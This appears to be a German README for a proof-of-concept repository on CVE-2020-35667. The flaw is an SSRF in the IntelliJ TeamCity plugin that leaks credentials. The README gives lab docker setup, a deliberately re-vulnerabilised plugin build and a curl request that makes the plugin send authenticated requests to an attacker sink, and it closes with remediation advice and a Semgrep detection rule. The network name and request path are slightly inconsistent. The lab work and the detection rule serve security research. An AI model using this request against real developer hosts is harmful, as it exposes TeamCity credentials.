diekgbbtt/cve-2020-35667-pocProof-of-Concept-Exploit für CVE-2020-35667, eine SSRF-Sicherheitslücke im IntelliJ IDEA TeamCity-Plugin, die durch einen unvalidierten URL-Parameter zur Preisgabe von Anmeldedaten führt.
HAFTUNGSAUSSCHLUSS Das unten dargestellte angreifbare Verhalten wurde empirisch aus dekompilierten, gepatchten Artefakten verifiziert, das versucht, die ursprüngliche Schwachstelle mit einem heuristischen Ansatz zu rekonstruieren, da die ursprüngliche verwundbare Plugin-Version nicht mehr verfügbar ist. Das Repository enthält ein ZIP-Archiv mit einem minimal bearbeiteten Build (abgeleitet von der gepatchten Version), der für die isolierte Laborwiedergabe verwendet wird.
Diese CVE betrifft das IntelliJ IDEA TeamCity-Integrationsplugin, das die Integration der IDE mit TeamCity ermöglicht, einem CI/CD-Orchestrator und Archiv, das Build-Konfigurationen und andere Artefakte speichert, die über REST/RPC-APIs bereitgestellt werden.
Das Plugin öffnet lokal einige HTTP-Endpunkte, die in einem typischen Szenario von den Komponenten aufgerufen werden, die das Plugin zur GUI hinzugefügt hat. Im beobachteten Setup implementiert dieser lokale Server keine Zugriffskontrollebene und fungiert faktisch als Middleware zwischen der IDE und dem TeamCity-Server.
Der serverseitige Anfrage-Handler des Plugins akzeptiert einen benutzergesteuerten Parameter in der URL und verwendet diesen ohne ausreichende Validierung (CWE-918), um eine Patch-Download-URL zu erstellen. Das Plugin sendet dann einen HTTP-GET an die konstruierte URL, der Authentifizierungsheader des angemeldeten Benutzers mit TeamCity-Anmeldedaten trägt, da TeamCity REST/RPC-APIs bereitstellt. Angenommen, der Angreifer kann den Entwickler-Host erreichen (z. B. durch Phishing, XSS), kann er einen SSRF-Angriff (CAPEC-6634) ausführen, indem er das Plugin zwingt, eine Anfrage an einen vom Angreifer kontrollierten Host zu senden, der am in dem benutzergesteuerten Parameter kodierten Endpunkt lauscht, was zu einem Abfluss der Anmeldedaten führt. Dies schafft den Kontext für z. B. ein erstes Eindringen oder eine laterale Bewegung.
Connection.run() → Connection.doHandle()
ruft die Anfrage-URI und -Parameter ab, die in der params-Map (einschließlich des file-Parameters) geparst werden.ActivatorBase.handle(res, params, ...) — res == "/patch" löst handleLoadPatch(params) aus.handleLoadPatch plant Arbeiten und ruft schließlich UrlUtil.createUrl(params, serverUrl) auf — dies ist die Komponente, die ich modifiziert habe, um sie verwundbar zu machen; der file-Wert wird ohne Validierung als URL-Schema:Adresse/Pfad eingefügt, andere Parameter werden angehängt.ActivatorBase.downloadPatch(patchUrl, username, password) erstellt einen HttpClient mit UsernamePasswordCredentials und ruft client.executeMethod(get) auf; die eigentliche Netzwerkanfrage wird an patchUrl gesendet.Mein Setup: TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, Host: ARM64 Kali Linux 2025.3. Alle Container luftdicht isoliert.
(optional) Ein isoliertes Docker-Netzwerk erstellen
docker network create tc-nec
IntelliJ IDEA herunterladen und starten, ein temporäres Projekt beliebiger Art erstellen. Das als ZIP-Datei bereitgestellte Plugin laden.
TeamCity-Server-Container bauen & starten: Notwendige Artefakte befinden sich im Ordner tc-server. Das TeamCity-Dashboard erreichen und eine temporäre TeamCity-Umgebung sowie einen Benutzer erstellen.
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
Bösartige HTTP-Senke bauen & starten: Notwendige Artefakte befinden sich im Ordner http-listener.
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(optional) Plugin-Logging mit Trace-Stufe für detaillierte Ausführungsanalyse aktivieren: IDE GUI → Debug-Log-Einstellungen suchen → Zeile #jetbrains.buildServer.activation hinzufügen → IDE neu starten.
Mit dem lokalen TeamCity-Server verbinden: Settings → Tools → TeamCity → Add Server und auf http://127.0.0.1:8111 verweisen, mit dem erstellten Benutzer anmelden.
Die folgende Anfrage senden:
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
Der Senken-Server hat die Plugin-HTTP-Anfrage protokolliert:
docker exec lab-sink "cat sink.log"
Zunächst möchte ich empfehlen, Sicherheit im SDLC nach links zu verschieben, indem spezifizierbare und implementierbare Sicherheitsanforderungen festgelegt werden. Dabei sollen die OWASP ASVS-Anforderungen als Richtlinie dienen, diese abgezweigt und nur die für die Anwendung relevanten Code-bezogenen Anforderungen übernommen werden. Anwendungssicherheits-Spezialisten sollten diese Anforderungen bestimmten Code-Komponenten oder sogar einzelnen Code-Schnipseln zuordnen. Entwickler sollten darin geschult werden, diese Sicherheitsanforderungen umzusetzen: Sie sollten die integrierten Sicherheitsmechanismen ihrer Sprache/ihres Frameworks kennen. Gemeinsam sollten sie an einer Matrix arbeiten, die jede Anforderung dem zugehörigen Paket, der Klasse oder Funktion zuordnet und die relevanten Akzeptanzprüfungen (Unit-Tests, SAST-Regeln) auflistet. Dadurch würde die Einhaltung des angepassten ASVS-Sets durch die Codebasis sichergestellt.
Über die gesamte Bereitstellungspipeline hinweg müssen mehrere Sicherheitsüberprüfungs-Gates integriert sein. Von direkt am Entwickler-Rechner über ein IDE-Plugin und Pre-Commit-Git-Hooks bis hin zu vollständigen Scans in der CI-Pipeline und fuzzing-basierter DAST in maßgeschneiderten Umgebungen (kontinuierliche Bereitstellung). Bei jedem Fehler sollte der Build/ die Bereitstellung fehlschlagen. Die aus diesen Scans resultierenden Daten sollten kontinuierlich aggregiert, überprüft werden, um den Prozess zu verfeinern und falsch positive/negative Ergebnisse zu eliminieren.
Dies ist eine Beispiel-Semgrep-Regel zur Erkennung von URL-Erstellung mit fehlender Sanitisierung benutzergesteuerter Parameter in Java mit der im Plugin verwendeten http-client-Bibliothek:
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Möglicher SSRF / unsichere URL-Konstruktion: URL wird aus Anfrageparametern ohne Validierung erstellt.
Validieren/Whitelisten Sie Schema und Host; kanonisieren Sie den Pfad; leiten Sie keine Anmeldedaten an nicht vertrauenswürdige Hosts weiter.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]